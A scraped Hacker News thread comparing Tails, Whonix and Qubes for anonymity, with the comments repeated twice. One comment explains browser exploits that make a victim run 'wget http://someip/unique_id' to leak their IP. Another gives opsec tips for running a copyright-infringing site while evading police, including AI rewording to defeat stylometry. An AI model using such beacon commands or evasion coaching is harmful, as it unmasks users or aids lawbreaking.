Love Tails, but I haven't used it in ten years. I have had Tails and Qubes disposable VMs on my mind though.
I switched off of Qubes last year to my own Alpine chroot with a hand crafted kernel and initrd that lives only in memory. I find turning off the computer when I'm finished and having it forget everything to be a very peaceful way to compute. I owe the internet a write up.
I feel like ramfs for root filesystems is an underused pattern more broadly. "Want to upgrade? Just reboot. Fallback? Pick a different root squashfs in the grub menu"
I would definitely be interested in reading more about this.
I love the idea of being able to prevent an application from writing all over my disk to random places. If I can't prevent it, I can at least remedy it by having all those changes go away with a reboot.
One of the things I love about Docker containers is that they can be ephemeral or persistent, short or long term, have full network access or no access, allowed to write to the host system or stuck writing to its own file system only.
Same here. Dont understand why not more ppl switched to alpine on the desktop. It is my daily driver. Plus LXD for stuff I must do (typically spawn ubuntu, etc.)
my whole PDE (Personal Developer Environment) is within a container. Need python? Shell into (via dmenu) python container. All with complete neovim setup. Need a GUI? No problem. Spawn a container. My lxd profile is set up for this. Use chezmoi for heavy automated stuff.
How do Tails and Qubes relate, any reuse of functionality?
(Tried Qubes as written up in [1] but eventually gave up as it won't allow me to create virtualbox images, and some other caveats, as well as being pretty resource hungry)
I treat my web browser like this, and similarly have a docker container for all my development stuff. I like the idea of making the computer (almost) completely stateless.
How do you deal with stuff you want to store in /home? (Like source code checkouts, ssh keys, etc.)
Tails has a very specific use case, very few people need anti-forensics.
I suggest looking into Whonix[1] if you want something that you can truly use for privacy. It is also much more secure than Tails by design, and does not have any limitations like locking down the root user account.
Summary from GitHub:
"Whonix is an operating system focused on anonymity, privacy and security. It's based on the Tor anonymity network, Debian GNU/Linux and security by isolation. DNS leaks are impossible, and not even malware with root privileges can find out the user's real IP."
Hi. We're building The Nose (https://thenose.cc), a safe haven for training data that can't be taken down with DMCA. Since this involves copyright infringement, strong anonymity is a requirement.
The reason Tails isn't an option is because, as others have mentioned, there have been Tor browser exploits which reveal the IP address of the Tails user. While this is unlikely for our case, it's important to approach security from first principles with threat modeling. An attack from the FBI may seem unlikely today, but both Silk Road and one of its successors were taken down by mistakes they made when setting up their site. Learning from history, if you're not careful early, you're in for a surprise later.
Case in point: When I started Whonix Workstation to post this comment, the Whonix Gateway VM failed to boot. So when I tried to start Tor Browser and go to https://news.ycombinator.com, all I saw was a connection error. This kind of layered defense is essential if you're serious about staying out of jail.
Realistically, you'll likely dox yourself through some other means: sending Bitcoin to your pseudonym from your real identity, admitting to someone you know that you control your pseudonym (this work gets lonely, so this is a real temptation), or even accidentally signing off an email with "Thanks, [your real name]". And once you make a single mistake, you can never recover.
Day to day browsing is a pain. I use a VNC client to remote into our server, which is running a desktop environment with a regular browser. That way you can use apps (gmail, discord, etc) from outside the Tor network. But since you're tunneling through Tor, this is painfully slow. You'll likely want to type out long messages in Whonix, then copy-paste into your remote session. Each keystroke can sometimes take a full second to appear when animations are heavy.
Transferring large amounts of data is also painful. If you try to start Litecoin Core on Whonix, you'll need to sync more than 30 GB, which can take a very long time.
Patience is your weapon. You have all the time in the world not to make a mistake, and moments to make a fatal one. Think carefully about everything you do.
Stylometry scares me. AI can help here: run an assistant locally, and ask it to reword everything you write. You won't be able to use ChatGPT for this, obviously because OpenAI retains a history of everything you submit, but also because they require a real phone number to sign up. And you can't get a real number through any means I've found so far.
Payment is also a pain. I'm hoping to ask the community to donate Vanilla gift cards so that I can sign up for Tarsnap or spin up a droplet.
By applying the discipline normally found in aeronautics, I think it's possible to do this safely. But you'll still be risking jail time, and the intersection of people who want to do something for altruistic reasons and willing to risk prison is pretty small. I'll be documenting everything I do so that you can learn from my example, or perhaps from my mistakes.
Are you currently hosted on Shinjiru now? I'm thinking about using them as a reverse proxy in front of a site that might suffer false DMCA attacks. I don't want my web host to ban me just because they can't deal with the hassle, so I'm thinking about proxying all the requests.
What does Shinjiru do if they receive a DMCA notice?
When I ran a huge private torrent tracker I paid a decent chunk to get a host that ignored every single request of any type that they received.
Tails is great. I am using it for several years now.
Other related projects are whonix ( https://www.whonix.org ), which consists of two virtual machines:
A workstation to work on and a gateway, which torifies all traffic from the workstation VM.
Whonix is also integrated in Qubes OS ( https://www.qubes-os.org ), which allows you to easily work with multiple seperate whonix VMs. There is also the possibility to tunnel all internet traffic of your machine through Tor including system upgrades of the host OS itself.
Whonix/Qubes integration is excellent, and it's certainly a nice perk of Qubes.
To clarify the benefits of the "two VM" approach:
Most of the unmasking exploits against Tor users (as distinguished from unmasking Tor hidden services) involve getting a browser to ignore the proxy settings, somehow. I believe WebRTC, Flash, and various other things have been used to cause the browser to beacon out to some endpoint - you exploit the kitty picture site, and put in code to exploit the browser, which then makes a direct request to http://someip/unique_identifier - and, boom, you've got the user's IP, probable cause, the works.
This happens because a "typical" Tor install is the daemon running locally, but nothing prevents other binaries from making a direct connection out. You set the browser to use socks5://localhost:9050 or something as the proxy, but if you can either get some part of it to misbehave, or just spawn off a different process, it doesn't obey the proxy settings and goes straight out.
Whonix solves this problem by splitting the system into the workstation VM (what you interact with) and the gateway VM (that connects to Tor and "torifies" traffic). The only network port on the workstation VM is connected to the input port on the gateway VM - and everything coming in that port is routed through Tor, via the other (internet connected) port.
So, if you manage to exploit the workstation VM, the attacker still doesn't gain an IP - because they launch a shell that runs 'wget http://someip/unique_id', but that goes out through the gateway VM, and gets encapsulated into Tor before going out, so it still pops out some Tor exit node, not your home IP address.
It raises the bar rather substantially for using Tor, and avoids a lot of the various ways to get Tor to leak. Also, they ship a copy of the Tor Browser in Whonix, which disables a lot of high risk functionality and allows you to very easily disable automatic media parsing and Javascript and such.
Qubes is awesome, and the integrated Whonix stuff is just a beautiful integration.
> The steps below outline how to make all PVH DispVM's permanently fully ephemeral. All data written to the disk will be encrypted with an ephemeral encryption key only stored in RAM. The encryption and encryption key generation is handled by dom0 and is thus inaccessible to the VM.
Could any HN users speak about their experience and rationale for using Tails?
My outsiders’ perspective is that the threat model for these kinds of surveillance resistant tools is somewhat perverse: they trade indistinguishability (being lost in the crowd) for a nominally more anonymous but extremely unusual datapoint (a host/browser/etc. that basically looks like no other normal machine.)
Put another way: without a clear attacker in mind, my outsiders’ perspective is that Tails feels a bit like wearing a paper bag in public to foil public CCTV: it might work, but is far likely to provoke contact with the relevant authorities than just attempting to blend in.
You put the stick in, access forbidden web site (for example, Instagram). Take the stick out, police searches your computer, there are no traces. If you were using a regular OS, even through Tor, there are some incriminating traces left, in browser cache, in MFT, in pagefile etc. that can be recovered.
Distrowatch is a good place to get a brief overview of pretty well every Linux distribution ever made, with links and a bit of background info on each:
I know the TOR project was started by the US navy, and that now I2Pnis the preferred method of browsing the darknet, because many people believe it has been compromised.
I can't validate if you are wrong or not. Just bring to your attention that one of their marketing slogan is "Amnesia" and "Persistent Storage on a USB stick". https://tails.net/about/index.en.html
The 'honeypot' concern is somehow valid because full-on privacy on the internet is as hard to achieve as privacy in a public park. Only its user can determine if their online activities goes against the (legal/moral/financial) interests of the most technically-advanced nation on our planet.
All known law enforcement attacks against Tor have involved some kind of exploit (e.g., in Tor Browser) that creates a non-Tor connection to collect the user's IP. Tails does not protect against this. Whonix provides much stronger protection against practical, real-world attacks, since the entire operating system is forced through a Tor connection.
There may be a security advantage to using a separate non-bypassable network appliance that puts your traffic on Tor, since then it would be much harder to break into a Tails machine and make it leak your location. However, given that it's meant to be easy to use, I think they probably picked the right balance by having the Tor redirecting occur in the same address space as the computing environment.
Tails didn't patch a non-root exploit that could leak the users real IP by bypassing the firewall without them knowing it for 3 years. I do not understand why Tails is recommended over Whonix (specifically Qubes-Whonix, thus with a trusted TCB).
> The Unsafe Browser allows to retrieve the public IP address by a compromised amnesia user with no user interaction
I'm wary about even Googling it because I swear I heard you are tracked in the US for even Googling it, or downloading it, or even reading on Wikipedia. It sounds laughable when I type it to be honest, but hey. I feel I have better hills to die on.
Wouldn't that be security through obscurity? Which is bad security and a good way to be exploited. I thought that having more eyes on a system made it more secure because people find the exploits.
I think this is somewhat sarcastic but the article goes as far as saying "[Tor Browser Bundle] is the only reason that FireFox is a valuable target." Firefox has improved sandboxing now though I don't think it's as good as Chromium.
How can I be sure this project isn't sponsored by XYZ government secret agency and that more than 1GB of data does not contain any surveillance software?
you can't. but here are some reasons XYZ should not target Tails specifically :
- People who use Tails are not interesting data collection targets
- They have already access to people using Tails by other means
- It's just Linux. So their 0days could work with little effort in case they need it.
- The main purpose of Tor being an opensource project is plausible deniability for CIA agents using it. The main purpose of Tails (which is really a UX focused project) is more plausible deniability. They wouldn't ruin it by making a different "clean" version for their agents.
- Use Links+ with Tor/i2pd and enforcing all the connections to the proxy in the settings.
Avoid the web for news sites and use Gemini with offpunk and gemini://gemi.dev for news sources
Bookmark the news sites and sync. Then, reading the news offline it's easy. Offpunk has a command for that, 'offline', and then run 'list', it will show up your cached bookmarks.
- Use nncpgo and sneakernet (or any inet protocol on top) to share data between the machines you own.
- News are better being fetched and read online with sfeed and lynx. Ditto with email with mbsync/msmtp + Mutt. Also, Gopher and Gemini, to read all the nice sites offline. Fetch your news/posts offline and forget.
- Use keyboard locked (u)xterms with TMUX. Nsxiv and mpv for images/videos. Better if you run them under the framebuffer.
- Convert all the PDF's you have to DJVU with the highest settings, then use gzip or xz on it, with DJView as the viewer. The less code you run, the better.
I know it sounds weird, but unless you reviewed the source code AND built the binary from it, no open source software is to be trusted.
The versions ready for download may be based on code slightly different than the one in the repo -either deliberetely, or because the NSA managed to redirect the download link to its' servers.
There is always a probability that an anonymity product will be proved to be a honeypot. Even open source projects may either do as mentioned (provide a "hacked" version for downloading), or even include some code that downloads and runs a seemingly harmless module from an external source, that is not so harmless in reality.
If the CIA gives enough money to the core developers or even just the website owner, what do they have to lose? Their reputation? Not everyone cares about that.
I know these scenarios sound far-fetched and paranoid, but nothing should sound impossible after Snowden's revelations. Even for open source software.
Tails is one of those tools I always keep on me physically. Added it to my key ring 6 years ago , and I get use out of it at least twice a month. Also started using it as a recovery ISO. But my main use case is when I have to use a computer but don’t have mine around . Just pop the USB in and voila all the access I need and my data stored in the persistent partition.
It seems like a growing number of things once referred to as Linux distributions are now referring to themselves as operating systems. If the kernel is Linux, and the user-space is GNU, what makes this a distinct operating system from, say, SUSE, or Arch?
where is darknet opsec and the current state of things discussed?
I used to use Dread and various DNM forums to find people to talk with and read their threads. It was usually far more complex and nuanced than what I would find on clearnet
but its been like 2-3 years since any Tor services even worked reliably with this ongoing DDOS attack.
I’d like to highlight the update process . I had a 2-3 year old installation and updated using the in-app updater. Update was a breeze and persistent storage was saved.
I recently had to dust off tails to do some dark web research on a data breach.
It’s a great “prophylactic” to protect your assets from possible malware while doing research.
[+] [-] dmwilcox|2 years ago|reply
I switched off of Qubes last year to my own Alpine chroot with a hand crafted kernel and initrd that lives only in memory. I find turning off the computer when I'm finished and having it forget everything to be a very peaceful way to compute. I owe the internet a write up.
I feel like ramfs for root filesystems is an underused pattern more broadly. "Want to upgrade? Just reboot. Fallback? Pick a different root squashfs in the grub menu"
[+] [-] justin_oaks|2 years ago|reply
I would definitely be interested in reading more about this.
I love the idea of being able to prevent an application from writing all over my disk to random places. If I can't prevent it, I can at least remedy it by having all those changes go away with a reboot.
One of the things I love about Docker containers is that they can be ephemeral or persistent, short or long term, have full network access or no access, allowed to write to the host system or stuck writing to its own file system only.
I'm in control instead of the application.
[+] [-] omani|2 years ago|reply
my whole PDE (Personal Developer Environment) is within a container. Need python? Shell into (via dmenu) python container. All with complete neovim setup. Need a GUI? No problem. Spawn a container. My lxd profile is set up for this. Use chezmoi for heavy automated stuff.
My base alpine system always stays clean.
[+] [-] analognoise|2 years ago|reply
https://nixos.wiki/wiki/Impermanence
Also NixOs has absurd levels of control for upgrades, rollbacks, and control over the build and resulting files.
[+] [-] unknown|2 years ago|reply
[deleted]
[+] [-] samuell|2 years ago|reply
(Tried Qubes as written up in [1] but eventually gave up as it won't allow me to create virtualbox images, and some other caveats, as well as being pretty resource hungry)
[1] https://bionics.it/posts/installing-qubes-os
[+] [-] hedora|2 years ago|reply
How do you deal with stuff you want to store in /home? (Like source code checkouts, ssh keys, etc.)
[+] [-] paravirtualized|2 years ago|reply
I suggest looking into Whonix[1] if you want something that you can truly use for privacy. It is also much more secure than Tails by design, and does not have any limitations like locking down the root user account.
Summary from GitHub:
"Whonix is an operating system focused on anonymity, privacy and security. It's based on the Tor anonymity network, Debian GNU/Linux and security by isolation. DNS leaks are impossible, and not even malware with root privileges can find out the user's real IP."
[1]: https://www.whonix.org/wiki/FAQ
[+] [-] trw55|2 years ago|reply
[+] [-] replwoacause|2 years ago|reply
[+] [-] nostril|2 years ago|reply
I wrote up our security procedures here: https://news.ycombinator.com/item?id=37346620
The reason Tails isn't an option is because, as others have mentioned, there have been Tor browser exploits which reveal the IP address of the Tails user. While this is unlikely for our case, it's important to approach security from first principles with threat modeling. An attack from the FBI may seem unlikely today, but both Silk Road and one of its successors were taken down by mistakes they made when setting up their site. Learning from history, if you're not careful early, you're in for a surprise later.
Case in point: When I started Whonix Workstation to post this comment, the Whonix Gateway VM failed to boot. So when I tried to start Tor Browser and go to https://news.ycombinator.com, all I saw was a connection error. This kind of layered defense is essential if you're serious about staying out of jail.
Realistically, you'll likely dox yourself through some other means: sending Bitcoin to your pseudonym from your real identity, admitting to someone you know that you control your pseudonym (this work gets lonely, so this is a real temptation), or even accidentally signing off an email with "Thanks, [your real name]". And once you make a single mistake, you can never recover.
[+] [-] nostril|2 years ago|reply
Day to day browsing is a pain. I use a VNC client to remote into our server, which is running a desktop environment with a regular browser. That way you can use apps (gmail, discord, etc) from outside the Tor network. But since you're tunneling through Tor, this is painfully slow. You'll likely want to type out long messages in Whonix, then copy-paste into your remote session. Each keystroke can sometimes take a full second to appear when animations are heavy.
Transferring large amounts of data is also painful. If you try to start Litecoin Core on Whonix, you'll need to sync more than 30 GB, which can take a very long time.
Patience is your weapon. You have all the time in the world not to make a mistake, and moments to make a fatal one. Think carefully about everything you do.
Stylometry scares me. AI can help here: run an assistant locally, and ask it to reword everything you write. You won't be able to use ChatGPT for this, obviously because OpenAI retains a history of everything you submit, but also because they require a real phone number to sign up. And you can't get a real number through any means I've found so far.
Payment is also a pain. I'm hoping to ask the community to donate Vanilla gift cards so that I can sign up for Tarsnap or spin up a droplet.
By applying the discipline normally found in aeronautics, I think it's possible to do this safely. But you'll still be risking jail time, and the intersection of people who want to do something for altruistic reasons and willing to risk prison is pretty small. I'll be documenting everything I do so that you can learn from my example, or perhaps from my mistakes.
[+] [-] qingcharles|2 years ago|reply
What does Shinjiru do if they receive a DMCA notice?
When I ran a huge private torrent tracker I paid a decent chunk to get a host that ignored every single request of any type that they received.
[+] [-] Run_DOS_Run|2 years ago|reply
Other related projects are whonix ( https://www.whonix.org ), which consists of two virtual machines:
A workstation to work on and a gateway, which torifies all traffic from the workstation VM.
Whonix is also integrated in Qubes OS ( https://www.qubes-os.org ), which allows you to easily work with multiple seperate whonix VMs. There is also the possibility to tunnel all internet traffic of your machine through Tor including system upgrades of the host OS itself.
[+] [-] Syonyk|2 years ago|reply
To clarify the benefits of the "two VM" approach:
Most of the unmasking exploits against Tor users (as distinguished from unmasking Tor hidden services) involve getting a browser to ignore the proxy settings, somehow. I believe WebRTC, Flash, and various other things have been used to cause the browser to beacon out to some endpoint - you exploit the kitty picture site, and put in code to exploit the browser, which then makes a direct request to http://someip/unique_identifier - and, boom, you've got the user's IP, probable cause, the works.
This happens because a "typical" Tor install is the daemon running locally, but nothing prevents other binaries from making a direct connection out. You set the browser to use socks5://localhost:9050 or something as the proxy, but if you can either get some part of it to misbehave, or just spawn off a different process, it doesn't obey the proxy settings and goes straight out.
Whonix solves this problem by splitting the system into the workstation VM (what you interact with) and the gateway VM (that connects to Tor and "torifies" traffic). The only network port on the workstation VM is connected to the input port on the gateway VM - and everything coming in that port is routed through Tor, via the other (internet connected) port.
So, if you manage to exploit the workstation VM, the attacker still doesn't gain an IP - because they launch a shell that runs 'wget http://someip/unique_id', but that goes out through the gateway VM, and gets encapsulated into Tor before going out, so it still pops out some Tor exit node, not your home IP address.
It raises the bar rather substantially for using Tor, and avoids a lot of the various ways to get Tor to leak. Also, they ship a copy of the Tor Browser in Whonix, which disables a lot of high risk functionality and allows you to very easily disable automatic media parsing and Javascript and such.
Qubes is awesome, and the integrated Whonix stuff is just a beautiful integration.
[+] [-] paravirtualized|2 years ago|reply
Qubes-Whonix with fully ephemeral disposable VMs is the future. It would be a total killer for nearly every use case of Tails besides ease of use.
Note that this is in the works, but not fully implemented by default yet. https://github.com/anywaydense/QubesEphemerize
> The steps below outline how to make all PVH DispVM's permanently fully ephemeral. All data written to the disk will be encrypted with an ephemeral encryption key only stored in RAM. The encryption and encryption key generation is handled by dom0 and is thus inaccessible to the VM.
[+] [-] replwoacause|2 years ago|reply
[+] [-] woodruffw|2 years ago|reply
My outsiders’ perspective is that the threat model for these kinds of surveillance resistant tools is somewhat perverse: they trade indistinguishability (being lost in the crowd) for a nominally more anonymous but extremely unusual datapoint (a host/browser/etc. that basically looks like no other normal machine.)
Put another way: without a clear attacker in mind, my outsiders’ perspective is that Tails feels a bit like wearing a paper bag in public to foil public CCTV: it might work, but is far likely to provoke contact with the relevant authorities than just attempting to blend in.
[+] [-] EVa5I7bHFq9mnYK|2 years ago|reply
[+] [-] jacknews|2 years ago|reply
In which case, it should be pretty secure.
Although, there's the obvious 'honeypot' concern.
But maybe I'm thinking of another distro, that ran from RAM and didn't write anything to disk.
[+] [-] cf100clunk|2 years ago|reply
https://distrowatch.com/
[+] [-] Synaesthesia|2 years ago|reply
[+] [-] daqhris|2 years ago|reply
The 'honeypot' concern is somehow valid because full-on privacy on the internet is as hard to achieve as privacy in a public park. Only its user can determine if their online activities goes against the (legal/moral/financial) interests of the most technically-advanced nation on our planet.
[+] [-] kylebenzle|2 years ago|reply
[+] [-] ranger_danger|2 years ago|reply
[+] [-] jordanpg|2 years ago|reply
To be clear, I'm a fan of the product -- just wondering what the other side of the story is.
[+] [-] letmevoteplease|2 years ago|reply
[+] [-] gpcz|2 years ago|reply
[+] [-] paravirtualized|2 years ago|reply
> The Unsafe Browser allows to retrieve the public IP address by a compromised amnesia user with no user interaction
https://gitlab.tails.boum.org/tails/tails/-/issues/15635
[+] [-] cf100clunk|2 years ago|reply
https://heads.dyne.org/about.html
https://distrowatch.com/table.php?distribution=heads
[+] [-] oneepic|2 years ago|reply
[+] [-] pcurve|2 years ago|reply
https://www.youtube.com/watch?v=mVKAyw0xqxw
Short and informative :-)
[+] [-] MR4D|2 years ago|reply
[+] [-] londons_explore|2 years ago|reply
I suspect you're better off with a more obscure project, because then your adversary is less likely to have a 'ready to go' exploit.
[+] [-] fullstick|2 years ago|reply
[+] [-] costco|2 years ago|reply
I think this is somewhat sarcastic but the article goes as far as saying "[Tor Browser Bundle] is the only reason that FireFox is a valuable target." Firefox has improved sandboxing now though I don't think it's as good as Chromium.
[+] [-] pulse7|2 years ago|reply
[+] [-] laurent123456|2 years ago|reply
[+] [-] slim|2 years ago|reply
[+] [-] anthk|2 years ago|reply
- Set unbound with DNS over HTTP.
- Use Links+ with Tor/i2pd and enforcing all the connections to the proxy in the settings. Avoid the web for news sites and use Gemini with offpunk and gemini://gemi.dev for news sources Bookmark the news sites and sync. Then, reading the news offline it's easy. Offpunk has a command for that, 'offline', and then run 'list', it will show up your cached bookmarks.
- Use nncpgo and sneakernet (or any inet protocol on top) to share data between the machines you own.
- News are better being fetched and read online with sfeed and lynx. Ditto with email with mbsync/msmtp + Mutt. Also, Gopher and Gemini, to read all the nice sites offline. Fetch your news/posts offline and forget.
- Use keyboard locked (u)xterms with TMUX. Nsxiv and mpv for images/videos. Better if you run them under the framebuffer.
- Convert all the PDF's you have to DJVU with the highest settings, then use gzip or xz on it, with DJView as the viewer. The less code you run, the better.
- Avoid Brave, Chromium, or worse, Edge.
[+] [-] l0new0lf-G|2 years ago|reply
The versions ready for download may be based on code slightly different than the one in the repo -either deliberetely, or because the NSA managed to redirect the download link to its' servers.
There is always a probability that an anonymity product will be proved to be a honeypot. Even open source projects may either do as mentioned (provide a "hacked" version for downloading), or even include some code that downloads and runs a seemingly harmless module from an external source, that is not so harmless in reality.
If the CIA gives enough money to the core developers or even just the website owner, what do they have to lose? Their reputation? Not everyone cares about that.
I know these scenarios sound far-fetched and paranoid, but nothing should sound impossible after Snowden's revelations. Even for open source software.
[+] [-] sneak|2 years ago|reply
https://daserste.ndr.de/panorama/xkeyscorerules100.txt
[+] [-] chimbosonic|2 years ago|reply
[+] [-] ShroudedNight|2 years ago|reply
[+] [-] sleepybrett|2 years ago|reply
[+] [-] yieldcrv|2 years ago|reply
I used to use Dread and various DNM forums to find people to talk with and read their threads. It was usually far more complex and nuanced than what I would find on clearnet
but its been like 2-3 years since any Tor services even worked reliably with this ongoing DDOS attack.
dark.fail has been down too
I hear people moved to i2p but WHERE?
[+] [-] techlatest_net|2 years ago|reply
https://console.cloud.google.com/marketplace/product/techlat...
[+] [-] tonymet|2 years ago|reply
I recently had to dust off tails to do some dark web research on a data breach.
It’s a great “prophylactic” to protect your assets from possible malware while doing research.
[+] [-] unknown|2 years ago|reply
[deleted]